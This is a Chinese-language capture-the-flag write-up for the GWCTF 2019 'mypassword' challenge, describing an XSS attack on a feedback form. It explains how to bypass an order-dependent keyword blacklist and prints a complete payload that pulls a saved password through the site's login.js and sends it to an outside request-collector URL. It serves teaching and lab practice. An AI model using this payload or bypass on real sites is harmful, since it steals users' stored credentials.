[GWCTF 2019]mypassword
一个XSS题,开局一个登录框,试了一下admin被注册了,过滤了一些东西,注册一个号登进去看发现并不是注入,给了一个feedback界面提交反馈,大概就能猜出来是XSS了
题解
在feedback界面查看源码可以看到一个被注释了的过滤
if(is_array($feedback)){
echo "<script>alert('反馈不合法');</script>";
return false;
}
$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {
while(true){
if(stripos($feedback,$val) !== false){
$feedback = str_ireplace($val,"",$feedback);
}else{
break;
}
}
}
但是这个过滤其实是不完善的,从前往后遍历列表替换为空,导致使用列表后项分隔前项绕过,说到底,整个过滤只能过滤一个’cookie’字段
比如docucookiement这种形式,document就无法被检测出来,而cookie被替换为空后又出现了document字段
不过尽管如此,也还是差了点什么,不获取document.cookie似乎也拿不到什么东西(菜逼言论)
后来看了wp,才知道在登录时发现给出了一个./js/login.js
if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split('; ');
var cookie = {};
for (var i = 0; i < cookies.length; i++) {
var arr = cookies[i].split('=');
var key = arr[0];
cookie[key] = arr[1];
}
if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
document.getElementsByName("username")[0].value = cookie['user'];
document.getElementsByName("password")[0].value = cookie['psw'];
}
}
刚刚好就帮我们把document.cookie里我们想要的值取了出来,不需要cookie字段也能获得对应的数据了,然后转发一下,不是很会js,抄一个payload
这里需要创建一个名为password的document实体,然后用login.js把password赋给这个实体,最后再从这个实体获取数据转发出来
<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
var psw = docucookiement.getcookieElementsByName("password")[0].value;
docucookiement.locacookietion="http://http.requestbin.buuoj.cn/tnvg49tn/?a="+psw;
</scrcookieipt>
用buu的平台接收一下数据,password就是flag